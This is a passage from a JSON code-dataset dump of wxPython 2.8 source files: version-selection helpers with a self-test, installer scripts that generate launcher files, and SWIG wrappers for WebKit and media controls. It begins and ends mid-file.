sys.path.insert(0, path64)\n global _selected\n _selected = bestMatch\n \n\n#----------------------------------------------------------------------\n\ndef checkInstalled(versions, optionsRequired=False):\n \"\"\"\n Check if there is a version of wxPython installed that matches one\n of the versions given. Returns True if so, False if not. This\n can be used to determine if calling `select` will succeed or not.\n\n :param versions: Same as in `select`, either a string or a list\n of strings specifying the version(s) to check for.\n\n :param optionsRequired: Same as in `select`.\n \"\"\"\n \n if type(versions) == str:\n versions = [versions]\n installed = _find_installed()\n bestMatch = _get_best_match(installed, versions, optionsRequired)\n return bestMatch is not None\n\n#----------------------------------------------------------------------\n\ndef getInstalled():\n \"\"\"\n Returns a list of strings representing the installed wxPython\n versions that are found on the system.\n \"\"\"\n installed = _find_installed()\n return [os.path.basename(p.pathname)[3:] for p in installed]\n\n\n\n#----------------------------------------------------------------------\n# private helpers...\n\ndef _get_best_match(installed, versions, optionsRequired):\n bestMatch = None\n bestScore = 0\n for pkg in installed:\n for ver in versions:\n score = pkg.Score(_wxPackageInfo(ver), optionsRequired)\n if score > bestScore:\n bestMatch = pkg\n bestScore = score\n return bestMatch\n\n\n_pattern = \"wx-[0-9].*\"\ndef _find_installed(removeExisting=False):\n installed = []\n toRemove = []\n for pth in sys.path:\n\n # empty means to look in the current dir\n if not pth:\n pth = '.'\n\n # skip it if it's not a package dir\n if not os.path.isdir(pth):\n continue\n \n base = os.path.basename(pth)\n\n # if it's a wx path that's already in the sys.path then mark\n # it for removal and then skip it\n if fnmatch.fnmatchcase(base, _pattern):\n toRemove.append(pth)\n continue\n\n # now look in the dir for matching subdirs\n for name in glob.glob(os.path.join(pth, _pattern)):\n # make sure it's a directory\n if not os.path.isdir(name):\n continue\n # and has a wx subdir\n if not os.path.exists(os.path.join(name, 'wx')):\n continue\n installed.append(_wxPackageInfo(name, True))\n\n if removeExisting:\n for rem in toRemove:\n del sys.path[sys.path.index(rem)]\n \n installed.sort()\n installed.reverse()\n return installed\n\n\n# Scan the sys.path looking for either a directory matching _pattern,\n# or a wx.pth file\ndef _find_default():\n for pth in sys.path:\n # empty means to look in the current dir\n if not pth:\n pth = '.'\n\n # skip it if it's not a package dir\n if not os.path.isdir(pth):\n continue\n \n # does it match the pattern?\n base = os.path.basename(pth)\n if fnmatch.fnmatchcase(base, _pattern):\n return pth\n\n for pth in sys.path:\n if not pth:\n pth = '.'\n if not os.path.isdir(pth):\n continue\n if os.path.exists(os.path.join(pth, 'wx.pth')):\n base = open(os.path.join(pth, 'wx.pth')).read()\n return os.path.join(pth, base)\n\n return None\n\n\nclass _wxPackageInfo(object):\n def __init__(self, pathname, stripFirst=False):\n self.pathname = pathname\n base = os.path.basename(pathname)\n segments = base.split('-')\n if stripFirst:\n segments = segments[1:]\n self.version = tuple([int(x) for x in segments[0].split('.')])\n self.options = segments[1:]\n\n\n def Score(self, other, optionsRequired):\n score = 0\n \n # whatever number of version components given in other must\n # match exactly\n minlen = min(len(self.version), len(other.version))\n if self.version[:minlen] != other.version[:minlen]:\n return 0 \n score += 1\n\n # check for matching options, if optionsRequired then the\n # options are not optional ;-)\n for opt in other.options:\n if opt in self.options:\n score += 1\n elif optionsRequired:\n return 0\n \n return score\n\n \n def CheckOptions(self, other, optionsRequired):\n # if options are not required then this always succeeds\n if not optionsRequired:\n return True\n # otherwise, if we have any option not present in other, then\n # the match fails.\n for opt in self.options:\n if opt not in other.options:\n return False\n return True\n\n \n \n def __lt__(self, other):\n return self.version < other.version or \\\n (self.version == other.version and self.options < other.options)\n def __le__(self, other):\n return self.version <= other.version or \\\n (self.version == other.version and self.options <= other.options)\n \n def __gt__(self, other):\n return self.version > other.version or \\\n (self.version == other.version and self.options > other.options)\n def __ge__(self, other):\n return self.version >= other.version or \\\n (self.version == other.version and self.options >= other.options)\n \n def __eq__(self, other):\n return self.version == other.version and self.options == other.options\n \n \n\n#----------------------------------------------------------------------\n\nif __name__ == '__main__':\n import pprint\n\n #ensureMinimal('2.5')\n #pprint.pprint(sys.path)\n #sys.exit()\n \n \n def test(version, optionsRequired=False):\n # setup\n savepath = sys.path[:]\n\n #test\n select(version, optionsRequired)\n print \"Asked for %s, (%s):\\t got: %s\" % (version, optionsRequired, sys.path[0])\n\n # reset\n sys.path = savepath[:]\n global _selected\n _selected = None\n\n\n def testEM(version, optionsRequired=False):\n # setup\n savepath = sys.path[:]\n\n #test\n ensureMinimal(version, optionsRequired)\n print \"EM: Asked for %s, (%s):\\t got: %s\" % (version, optionsRequired, sys.path[0])\n\n # reset\n sys.path = savepath[:]\n global _selected\n _selected = None\n \n \n # make some test dirs\n names = ['wx-2.4-gtk-ansi',\n 'wx-2.5.2-gtk2-unicode',\n 'wx-2.5.3-gtk-ansi',\n 'wx-2.6-gtk2-unicode',\n 'wx-2.6-gtk2-ansi',\n 'wx-2.6-gtk-ansi',\n 'wx-2.7.1-gtk2-ansi',\n ]\n for name in names:\n d = os.path.join('/tmp', name)\n os.mkdir(d)\n os.mkdir(os.path.join(d, 'wx'))\n\n # setup sys.path to see those dirs\n sys.path.append('/tmp')\n \n\n # now run some tests\n pprint.pprint( getInstalled())\n print checkInstalled(\"2.4\")\n print checkInstalled(\"2.5-unicode\")\n print checkInstalled(\"2.99-bogus\")\n print \"Current sys.path:\"\n pprint.pprint(sys.path)\n print\n \n test(\"2.4\")\n test(\"2.5\")\n test(\"2.5-gtk2\")\n test(\"2.5.2\")\n test(\"2.5-ansi\")\n test(\"2.5-unicode\")\n test(\"2.6\")\n test(\"2.6-ansi\")\n test([\"2.6-unicode\", \"2.7-unicode\"])\n test([\"2.6\", \"2.7\"])\n test([\"2.6-unicode\", \"2.7-unicode\"], optionsRequired=True)\n \n \n \n # There isn't a unicode match for this one, but it will give the best\n # available 2.4. Should it give an error instead? I don't think so...\n test(\"2.4-unicode\") \n\n # Try asking for multiple versions\n test([\"2.5.2\", \"2.5.3\", \"2.6\"])\n\n try:\n # expecting an error on this one\n test(\"2.9\")\n except VersionError, e:\n print \"Asked for 2.9:\\t got Exception:\", e \n\n # check for exception when incompatible versions are requested\n try:\n select(\"2.4\")\n select(\"2.5\")\n except VersionError, e:\n print \"Asked for incompatible versions, got Exception:\", e \n\n _EM_DEBUG=1\n testEM(\"2.6\")\n testEM(\"2.6-unicode\")\n testEM(\"2.6-unicode\", True)\n try:\n testEM(\"2.9\")\n except VersionError, e:\n print \"EM: Asked for 2.9:\\t got Exception:\", e \n\n # cleanup\n for name in names:\n d = os.path.join('/tmp', name)\n os.rmdir(os.path.join(d, 'wx'))\n os.rmdir(d)\n\n \n", "id": "9989037", "language": "Python", "matching_score": 2.084033250808716, "max_stars_count": 27, "path": "Lib/site-packages/wxversion.py" }, { "content": "# A Python package\n\"\"\"\nThis package provides the config module, which is used by wxPython's\nsetup.py distutils script. It was moved here so it would be installed\nwith the rest of wxPython and could therefore be used by the setup.py\nfor other projects that needed this same info and functionality (most\nlikely in order to be compatible with wxPython.)\n\nSee config.py and wxPython's setup.py for more details.\n\n\"\"\"\n\n\n# Exclude config from the epydoc docs because it will currently cause\n# a lot of noise. Once it has been refactored then add \"config\" to\n# the list below.\n\n__all__ = []\n\n\n", "id": "10161317", "language": "Python", "matching_score": 0.348253458738327, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/build/__init__.py" }, { "content": "#----------------------------------------------------------------------\n# Name: CreateMacScripts.py\n# Purpose: Massages the scripts to be usable with MacPython-OSX\n#\n# Author: <NAME>\n#\n# Created: 12-Aug-2002\n# Copyright: (c) 2002 by Total Control Software\n# Licence: wxWindows license\n#----------------------------------------------------------------------\n\nimport sys, os\n\npython = sys.executable\ndestdir = os.path.split(python)[0]\nprefix = destdir\npythonw = os.path.join(destdir, 'pythonw')\nscriptdir = os.getcwd()\n\nif len(sys.argv) > 1:\n root = sys.argv[1]\n p = prefix = sys.argv[2]\n if p[0] == '/': p = p[1:]\n destdir = os.path.join(root, p)\n\n\nfrom CreateBatchFiles import scripts\nrepltxt = \"#!/usr/bin/env python\"\n\n# use the existing pythonw as a template\ngui_template = \"\"\"\n#!/bin/sh\nexec \"%s\" %%s.py \"$@\"\n\"\"\" % (sys.executable) \n\ndef main():\n for script, usegui in scripts:\n destfile = os.path.join(destdir, script)\n prefixfile = os.path.join(prefix, script)\n\n thescript = open(script).read()\n if usegui:\n f = open(destfile+'.py', 'w')\n print destfile+'.py'\n f.write(thescript.replace(repltxt, ''))\n f.close()\n f = open(destfile, 'w')\n print destfile\n f.write(gui_template % prefixfile)\n f.close()\n\n else:\n thescript = thescript.replace(repltxt, '#!'+python)\n f = open(destfile, 'w')\n print destfile\n f.write(thescript)\n f.close()\n\n os.chmod(destfile, 0755)\n\n\nif __name__ == '__main__':\n main()\n\n", "id": "3822331", "language": "Python", "matching_score": 3.054032325744629, "max_stars_count": 11, "path": "Scripts/CreateMacScripts.py" }, { "content": "#----------------------------------------------------------------------\n# Name: CreateBatchFiles.py\n# Purpose: Run by the InnoSetup installer to create a DOS batch\n# file for each of the wxPython tool scripts.\n#\n# Author: <NAME>\n#\n# Created: 8-Aug-2002\n# Copyright: (c) 2002 by Total Control Software\n# Licence: wxWindows license\n#----------------------------------------------------------------------\n\nimport sys, os\n\npython = sys.executable\n# the syntax start \"\" \"filepath\" is necessary for file paths with spaces\npythonw = 'start \"\" \"' + os.path.join(os.path.split(python)[0], 'pythonw.exe\"')\npython = '\"%s\"' % python\nscriptdir = os.getcwd()\n\nscripts = [ (\"img2png\", 0),\n (\"img2py\", 0),\n (\"img2xpm\", 0),\n (\"genaxmodule\",0),\n (\"xrced\", 1),\n (\"pyshell\", 1),\n (\"pycrust\", 1),\n (\"pyslices\", 1),\n (\"pysliceshell\",1),\n (\"pywrap\", 1),\n (\"pyalamode\", 1),\n (\"pyalacarte\", 1),\n (\"helpviewer\", 1),\n (\"pywxrc\", 0),\n (\"editra\", 1),\n ]\n\ntemplate = \"\"\"\\\n@echo off\n\n%s \"%s\\\\%s\" %%1 %%2 %%3 %%4 %%5 %%6 %%7 %%8 %%9\n\"\"\"\n\ndef main():\n for script, usegui in scripts:\n batfile = os.path.join(scriptdir, script + '.bat')\n print \"Creating\", batfile\n f = open(batfile, 'w')\n if usegui:\n f.write(template % (pythonw, scriptdir, script))\n else:\n f.write(template % (python, scriptdir, script))\n f.close()\n\n\nif __name__ == '__main__':\n main()\n\n", "id": "12241934", "language": "Python", "matching_score": 0.052394505590200424, "max_stars_count": 11, "path": "Scripts/CreateBatchFiles.py" }, { "content": "# This file was created automatically by SWIG 1.3.29.\n# Don't modify this file, modify the SWIG interface instead.\n\n\"\"\"\nwx.webkit.WebKitCtrl for Mac OSX.\n\"\"\"\n\nimport _webkit\nimport new\nnew_instancemethod = new.instancemethod\ndef _swig_setattr_nondynamic(self,class_type,name,value,static=1):\n if (name == \"thisown\"): return self.this.own(value)\n if (name == \"this\"):\n if type(value).__name__ == 'PySwigObject':\n self.__dict__[name] = value\n return\n method = class_type.__swig_setmethods__.get(name,None)\n if method: return method(self,value)\n if (not static) or hasattr(self,name):\n self.__dict__[name] = value\n else:\n raise AttributeError(\"You cannot add attributes to %s\" % self)\n\ndef _swig_setattr(self,class_type,name,value):\n return _swig_setattr_nondynamic(self,class_type,name,value,0)\n\ndef _swig_getattr(self,class_type,name):\n if (name == \"thisown\"): return self.this.own()\n method = class_type.__swig_getmethods__.get(name,None)\n if method: return method(self)\n raise AttributeError,name\n\ndef _swig_repr(self):\n try: strthis = \"proxy of \" + self.this.__repr__()\n except: strthis = \"\"\n return \"<%s.%s; %s >\" % (self.__class__.__module__, self.__class__.__name__, strthis,)\n\nimport types\ntry:\n _object = types.ObjectType\n _newclass = 1\nexcept AttributeError:\n class _object : pass\n _newclass = 0\ndel types\n\n\ndef _swig_setattr_nondynamic_method(set):\n def set_attr(self,name,value):\n if (name == \"thisown\"): return self.this.own(value)\n if hasattr(self,name) or (name == \"this\"):\n set(self,name,value)\n else:\n raise AttributeError(\"You cannot add attributes to %s\" % self)\n return set_attr\n\n\nimport _core\nwx = _core \n__docfilter__ = wx.__DocFilter(globals()) \nclass WebKitCtrl(_core.Control):\n \"\"\"Proxy of C++ WebKitCtrl class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, Window parent, int winID=-1, String strURL=EmptyString, \n Point pos=DefaultPosition, Size size=DefaultSize, \n long style=0, Validator validator=DefaultValidator, \n String name=WebKitNameStr) -> WebKitCtrl\n \"\"\"\n _webkit.WebKitCtrl_swiginit(self,_webkit.new_WebKitCtrl(*args, **kwargs))\n self._setOORInfo(self)\n\n def Create(*args, **kwargs):\n \"\"\"\n Create(self, Window parent, int winID=-1, String strURL=EmptyString, \n Point pos=DefaultPosition, Size size=DefaultSize, \n long style=0, Validator validator=DefaultValidator, \n String name=WebKitNameStr) -> bool\n \"\"\"\n return _webkit.WebKitCtrl_Create(*args, **kwargs)\n\n def LoadURL(*args, **kwargs):\n \"\"\"LoadURL(self, String url)\"\"\"\n return _webkit.WebKitCtrl_LoadURL(*args, **kwargs)\n\n def CanGoBack(*args, **kwargs):\n \"\"\"CanGoBack(self) -> bool\"\"\"\n return _webkit.WebKitCtrl_CanGoBack(*args, **kwargs)\n\n def CanGoForward(*args, **kwargs):\n \"\"\"CanGoForward(self) -> bool\"\"\"\n return _webkit.WebKitCtrl_CanGoForward(*args, **kwargs)\n\n def GoBack(*args, **kwargs):\n \"\"\"GoBack(self) -> bool\"\"\"\n return _webkit.WebKitCtrl_GoBack(*args, **kwargs)\n\n def GoForward(*args, **kwargs):\n \"\"\"GoForward(self) -> bool\"\"\"\n return _webkit.WebKitCtrl_GoForward(*args, **kwargs)\n\n def Reload(*args, **kwargs):\n \"\"\"Reload(self)\"\"\"\n return _webkit.WebKitCtrl_Reload(*args, **kwargs)\n\n def Stop(*args, **kwargs):\n \"\"\"Stop(self)\"\"\"\n return _webkit.WebKitCtrl_Stop(*args, **kwargs)\n\n def CanGetPageSource(*args, **kwargs):\n \"\"\"CanGetPageSource(self) -> bool\"\"\"\n return _webkit.WebKitCtrl_CanGetPageSource(*args, **kwargs)\n\n def GetPageSource(*args, **kwargs):\n \"\"\"GetPageSource(self) -> String\"\"\"\n return _webkit.WebKitCtrl_GetPageSource(*args, **kwargs)\n\n def SetPageSource(*args, **kwargs):\n \"\"\"SetPageSource(self, String source, String baseUrl=EmptyString)\"\"\"\n return _webkit.WebKitCtrl_SetPageSource(*args, **kwargs)\n\n def GetPageURL(*args, **kwargs):\n \"\"\"GetPageURL(self) -> String\"\"\"\n return _webkit.WebKitCtrl_GetPageURL(*args, **kwargs)\n\n def GetPageTitle(*args, **kwargs):\n \"\"\"GetPageTitle(self) -> String\"\"\"\n return _webkit.WebKitCtrl_GetPageTitle(*args, **kwargs)\n\n def GetSelection(*args, **kwargs):\n \"\"\"GetSelection(self) -> String\"\"\"\n return _webkit.WebKitCtrl_GetSelection(*args, **kwargs)\n\n def CanIncreaseTextSize(*args, **kwargs):\n \"\"\"CanIncreaseTextSize(self) -> bool\"\"\"\n return _webkit.WebKitCtrl_CanIncreaseTextSize(*args, **kwargs)\n\n def IncreaseTextSize(*args, **kwargs):\n \"\"\"IncreaseTextSize(self)\"\"\"\n return _webkit.WebKitCtrl_IncreaseTextSize(*args, **kwargs)\n\n def CanDecreaseTextSize(*args, **kwargs):\n \"\"\"CanDecreaseTextSize(self) -> bool\"\"\"\n return _webkit.WebKitCtrl_CanDecreaseTextSize(*args, **kwargs)\n\n def DecreaseTextSize(*args, **kwargs):\n \"\"\"DecreaseTextSize(self)\"\"\"\n return _webkit.WebKitCtrl_DecreaseTextSize(*args, **kwargs)\n\n def Print(*args, **kwargs):\n \"\"\"Print(self, bool showPrompt=False)\"\"\"\n return _webkit.WebKitCtrl_Print(*args, **kwargs)\n\n def MakeEditable(*args, **kwargs):\n \"\"\"MakeEditable(self, bool enable=True)\"\"\"\n return _webkit.WebKitCtrl_MakeEditable(*args, **kwargs)\n\n def IsEditable(*args, **kwargs):\n \"\"\"IsEditable(self) -> bool\"\"\"\n return _webkit.WebKitCtrl_IsEditable(*args, **kwargs)\n\n def RunScript(*args, **kwargs):\n \"\"\"RunScript(self, String javascript) -> String\"\"\"\n return _webkit.WebKitCtrl_RunScript(*args, **kwargs)\n\n def SetScrollPos(*args, **kwargs):\n \"\"\"SetScrollPos(self, int pos)\"\"\"\n return _webkit.WebKitCtrl_SetScrollPos(*args, **kwargs)\n\n def GetScrollPos(*args, **kwargs):\n \"\"\"GetScrollPos(self) -> int\"\"\"\n return _webkit.WebKitCtrl_GetScrollPos(*args, **kwargs)\n\n PageSource = property(GetPageSource,SetPageSource,doc=\"See `GetPageSource` and `SetPageSource`\") \n PageTitle = property(GetPageTitle,doc=\"See `GetPageTitle`\") \n PageURL = property(GetPageURL,doc=\"See `GetPageURL`\") \n ScrollPos = property(GetScrollPos,SetScrollPos,doc=\"See `GetScrollPos and SetScrollPos`\") \n Selection = property(GetSelection,doc=\"See `GetSelection`\") \n_webkit.WebKitCtrl_swigregister(WebKitCtrl)\ncvar = _webkit.cvar\nWebKitNameStr = cvar.WebKitNameStr\n\ndef PreWebKitCtrl(*args, **kwargs):\n \"\"\"PreWebKitCtrl() -> WebKitCtrl\"\"\"\n val = _webkit.new_PreWebKitCtrl(*args, **kwargs)\n return val\n\nWEBKIT_STATE_START = _webkit.WEBKIT_STATE_START\nWEBKIT_STATE_NEGOTIATING = _webkit.WEBKIT_STATE_NEGOTIATING\nWEBKIT_STATE_REDIRECTING = _webkit.WEBKIT_STATE_REDIRECTING\nWEBKIT_STATE_TRANSFERRING = _webkit.WEBKIT_STATE_TRANSFERRING\nWEBKIT_STATE_STOP = _webkit.WEBKIT_STATE_STOP\nWEBKIT_STATE_FAILED = _webkit.WEBKIT_STATE_FAILED\nWEBKIT_NAV_LINK_CLICKED = _webkit.WEBKIT_NAV_LINK_CLICKED\nWEBKIT_NAV_BACK_NEXT = _webkit.WEBKIT_NAV_BACK_NEXT\nWEBKIT_NAV_FORM_SUBMITTED = _webkit.WEBKIT_NAV_FORM_SUBMITTED\nWEBKIT_NAV_RELOAD = _webkit.WEBKIT_NAV_RELOAD\nWEBKIT_NAV_FORM_RESUBMITTED = _webkit.WEBKIT_NAV_FORM_RESUBMITTED\nWEBKIT_NAV_OTHER = _webkit.WEBKIT_NAV_OTHER\nwxEVT_WEBKIT_STATE_CHANGED = _webkit.wxEVT_WEBKIT_STATE_CHANGED\nwxEVT_WEBKIT_BEFORE_LOAD = _webkit.wxEVT_WEBKIT_BEFORE_LOAD\nwxEVT_WEBKIT_NEW_WINDOW = _webkit.wxEVT_WEBKIT_NEW_WINDOW\nclass WebKitBeforeLoadEvent(_core.CommandEvent):\n \"\"\"Proxy of C++ WebKitBeforeLoadEvent class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def IsCancelled(*args, **kwargs):\n \"\"\"IsCancelled(self) -> bool\"\"\"\n return _webkit.WebKitBeforeLoadEvent_IsCancelled(*args, **kwargs)\n\n def Cancel(*args, **kwargs):\n \"\"\"Cancel(self, bool cancel=True)\"\"\"\n return _webkit.WebKitBeforeLoadEvent_Cancel(*args, **kwargs)\n\n def GetURL(*args, **kwargs):\n \"\"\"GetURL(self) -> String\"\"\"\n return _webkit.WebKitBeforeLoadEvent_GetURL(*args, **kwargs)\n\n def SetURL(*args, **kwargs):\n \"\"\"SetURL(self, String url)\"\"\"\n return _webkit.WebKitBeforeLoadEvent_SetURL(*args, **kwargs)\n\n def SetNavigationType(*args, **kwargs):\n \"\"\"SetNavigationType(self, int navType)\"\"\"\n return _webkit.WebKitBeforeLoadEvent_SetNavigationType(*args, **kwargs)\n\n def GetNavigationType(*args, **kwargs):\n \"\"\"GetNavigationType(self) -> int\"\"\"\n return _webkit.WebKitBeforeLoadEvent_GetNavigationType(*args, **kwargs)\n\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self, Window win=(wxWindow *) NULL) -> WebKitBeforeLoadEvent\"\"\"\n _webkit.WebKitBeforeLoadEvent_swiginit(self,_webkit.new_WebKitBeforeLoadEvent(*args, **kwargs))\n NavigationType = property(GetNavigationType,SetNavigationType,doc=\"See `GetNavigationType` and `SetNavigationType`\") \n URL = property(GetURL,SetURL,doc=\"See `GetURL` and `SetURL`\") \n_webkit.WebKitBeforeLoadEvent_swigregister(WebKitBeforeLoadEvent)\n\nclass WebKitStateChangedEvent(_core.CommandEvent):\n \"\"\"Proxy of C++ WebKitStateChangedEvent class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self, Window win=None) -> WebKitStateChangedEvent\"\"\"\n _webkit.WebKitStateChangedEvent_swiginit(self,_webkit.new_WebKitStateChangedEvent(*args, **kwargs))\n def GetState(*args, **kwargs):\n \"\"\"GetState(self) -> int\"\"\"\n return _webkit.WebKitStateChangedEvent_GetState(*args, **kwargs)\n\n def SetState(*args, **kwargs):\n \"\"\"SetState(self, int state)\"\"\"\n return _webkit.WebKitStateChangedEvent_SetState(*args, **kwargs)\n\n def GetURL(*args, **kwargs):\n \"\"\"GetURL(self) -> String\"\"\"\n return _webkit.WebKitStateChangedEvent_GetURL(*args, **kwargs)\n\n def SetURL(*args, **kwargs):\n \"\"\"SetURL(self, String url)\"\"\"\n return _webkit.WebKitStateChangedEvent_SetURL(*args, **kwargs)\n\n State = property(GetState,SetState,doc=\"See `GetState` and `SetState`\") \n URL = property(GetURL,SetURL,doc=\"See `GetURL` and `SetURL`\") \n_webkit.WebKitStateChangedEvent_swigregister(WebKitStateChangedEvent)\n\nclass WebKitNewWindowEvent(_core.CommandEvent):\n \"\"\"Proxy of C++ WebKitNewWindowEvent class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def GetURL(*args, **kwargs):\n \"\"\"GetURL(self) -> String\"\"\"\n return _webkit.WebKitNewWindowEvent_GetURL(*args, **kwargs)\n\n def SetURL(*args, **kwargs):\n \"\"\"SetURL(self, String url)\"\"\"\n return _webkit.WebKitNewWindowEvent_SetURL(*args, **kwargs)\n\n def GetTargetName(*args, **kwargs):\n \"\"\"GetTargetName(self) -> String\"\"\"\n return _webkit.WebKitNewWindowEvent_GetTargetName(*args, **kwargs)\n\n def SetTargetName(*args, **kwargs):\n \"\"\"SetTargetName(self, String name)\"\"\"\n return _webkit.WebKitNewWindowEvent_SetTargetName(*args, **kwargs)\n\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self, Window win=None) -> WebKitNewWindowEvent\"\"\"\n _webkit.WebKitNewWindowEvent_swiginit(self,_webkit.new_WebKitNewWindowEvent(*args, **kwargs))\n URL = property(GetURL,SetURL,doc=\"See `GetURL` and `SetURL`\") \n TargetName = property(GetTargetName,SetTargetName) \n_webkit.WebKitNewWindowEvent_swigregister(WebKitNewWindowEvent)\n\nEVT_WEBKIT_STATE_CHANGED = wx.PyEventBinder(wxEVT_WEBKIT_STATE_CHANGED)\nEVT_WEBKIT_BEFORE_LOAD = wx.PyEventBinder(wxEVT_WEBKIT_BEFORE_LOAD)\nEVT_WEBKIT_NEW_WINDOW = wx.PyEventBinder(wxEVT_WEBKIT_NEW_WINDOW)\n\n\n\n", "id": "476587", "language": "Python", "matching_score": 6.122079372406006, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/webkit.py" }, { "content": "## This file reverse renames symbols in the wx package to give\n## them their wx prefix again, for backwards compatibility.\n##\n## Generated by BuildRenamers in config.py\n\n# This silly stuff here is so the wxPython.wx module doesn't conflict\n# with the wx package. We need to import modules from the wx package\n# here, then we'll put the wxPython.wx entry back in sys.modules.\nimport sys\n_wx = None\nif sys.modules.has_key('wxPython.wx'):\n _wx = sys.modules['wxPython.wx']\n del sys.modules['wxPython.wx']\n\nimport wx.webkit\n\nsys.modules['wxPython.wx'] = _wx\ndel sys, _wx\n\n\n# Now assign all the reverse-renamed names:\nwxWebKitNameStr = wx.webkit.WebKitNameStr\nwxWebKitCtrl = wx.webkit.WebKitCtrl\nwxPreWebKitCtrl = wx.webkit.PreWebKitCtrl\nwxWEBKIT_STATE_START = wx.webkit.WEBKIT_STATE_START\nwxWEBKIT_STATE_NEGOTIATING = wx.webkit.WEBKIT_STATE_NEGOTIATING\nwxWEBKIT_STATE_REDIRECTING = wx.webkit.WEBKIT_STATE_REDIRECTING\nwxWEBKIT_STATE_TRANSFERRING = wx.webkit.WEBKIT_STATE_TRANSFERRING\nwxWEBKIT_STATE_STOP = wx.webkit.WEBKIT_STATE_STOP\nwxWEBKIT_STATE_FAILED = wx.webkit.WEBKIT_STATE_FAILED\nwxEVT_WEBKIT_STATE_CHANGED = wx.webkit.wxEVT_WEBKIT_STATE_CHANGED\nwxWebKitStateChangedEvent = wx.webkit.WebKitStateChangedEvent\n\n\nd = globals()\nfor k, v in wx.webkit.__dict__.iteritems():\n if k.startswith('EVT'):\n d[k] = v\ndel d, k, v\n\n\n\n", "id": "8725300", "language": "Python", "matching_score": 0.2573072910308838, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wxPython/webkit.py" }, { "content": "# This file was created automatically by SWIG 1.3.29.\n# Don't modify this file, modify the SWIG interface instead.\n\n\"\"\"\nClasses for a media player control\n\"\"\"\n\nimport _media\nimport new\nnew_instancemethod = new.instancemethod\ndef _swig_setattr_nondynamic(self,class_type,name,value,static=1):\n if (name == \"thisown\"): return self.this.own(value)\n if (name == \"this\"):\n if type(value).__name__ == 'PySwigObject':\n self.__dict__[name] = value\n return\n method = class_type.__swig_setmethods__.get(name,None)\n if method: return method(self,value)\n if (not static) or hasattr(self,name):\n self.__dict__[name] = value\n else:\n raise AttributeError(\"You cannot add attributes to %s\" % self)\n\ndef _swig_setattr(self,class_type,name,value):\n return _swig_setattr_nondynamic(self,class_type,name,value,0)\n\ndef _swig_getattr(self,class_type,name):\n if (name == \"thisown\"): return self.this.own()\n method = class_type.__swig_getmethods__.get(name,None)\n if method: return method(self)\n raise AttributeError,name\n\ndef _swig_repr(self):\n try: strthis = \"proxy of \" + self.this.__repr__()\n except: strthis = \"\"\n return \"<%s.%s; %s >\" % (self.__class__.__module__, self.__class__.__name__, strthis,)\n\nimport types\ntry:\n _object = types.ObjectType\n _newclass = 1\nexcept AttributeError:\n class _object : pass\n _newclass = 0\ndel types\n\n\ndef _swig_setattr_nondynamic_method(set):\n def set_attr(self,name,value):\n if (name == \"thisown\"): return self.this.own(value)\n if hasattr(self,name) or (name == \"this\"):\n set(self,name,value)\n else:\n raise AttributeError(\"You cannot add attributes to %s\" % self)\n return set_attr\n\n\nimport _core\nwx = _core \n__docfilter__ = wx.__DocFilter(globals()) \nMEDIASTATE_STOPPED = _media.MEDIASTATE_STOPPED\nMEDIASTATE_PAUSED = _media.MEDIASTATE_PAUSED\nMEDIASTATE_PLAYING = _media.MEDIASTATE_PLAYING\nMEDIACTRLPLAYERCONTROLS_NONE = _media.MEDIACTRLPLAYERCONTROLS_NONE\nMEDIACTRLPLAYERCONTROLS_STEP = _media.MEDIACTRLPLAYERCONTROLS_STEP\nMEDIACTRLPLAYERCONTROLS_VOLUME = _media.MEDIACTRLPLAYERCONTROLS_VOLUME\nMEDIACTRLPLAYERCONTROLS_DEFAULT = _media.MEDIACTRLPLAYERCONTROLS_DEFAULT\nclass MediaEvent(_core.NotifyEvent):\n \"\"\"Proxy of C++ MediaEvent class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self, EventType commandType=wxEVT_NULL, int id=0) -> MediaEvent\"\"\"\n _media.MediaEvent_swiginit(self,_media.new_MediaEvent(*args, **kwargs))\n_media.MediaEvent_swigregister(MediaEvent)\ncvar = _media.cvar\nMEDIABACKEND_DIRECTSHOW = cvar.MEDIABACKEND_DIRECTSHOW\nMEDIABACKEND_MCI = cvar.MEDIABACKEND_MCI\nMEDIABACKEND_QUICKTIME = cvar.MEDIABACKEND_QUICKTIME\nMEDIABACKEND_GSTREAMER = cvar.MEDIABACKEND_GSTREAMER\nMEDIABACKEND_REALPLAYER = cvar.MEDIABACKEND_REALPLAYER\nMEDIABACKEND_WMP10 = cvar.MEDIABACKEND_WMP10\n\nclass MediaCtrl(_core.Control):\n \"\"\"Proxy of C++ MediaCtrl class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, Window parent, int id=-1, String fileName=EmptyString, \n Point pos=DefaultPosition, Size size=DefaultSize, \n long style=0, String szBackend=EmptyString, \n Validator validator=DefaultValidator, \n String name=MediaCtrlNameStr) -> MediaCtrl\n \"\"\"\n _media.MediaCtrl_swiginit(self,_media.new_MediaCtrl(*args, **kwargs))\n self._setOORInfo(self)\n\n def Create(*args, **kwargs):\n \"\"\"\n Create(self, Window parent, int id=-1, String fileName=EmptyString, \n Point pos=DefaultPosition, Size size=DefaultSize, \n long style=0, String szBackend=EmptyString, \n Validator validator=DefaultValidator, \n String name=MediaCtrlNameStr) -> bool\n \"\"\"\n return _media.MediaCtrl_Create(*args, **kwargs)\n\n def Play(*args, **kwargs):\n \"\"\"Play(self) -> bool\"\"\"\n return _media.MediaCtrl_Play(*args, **kwargs)\n\n def Pause(*args, **kwargs):\n \"\"\"Pause(self) -> 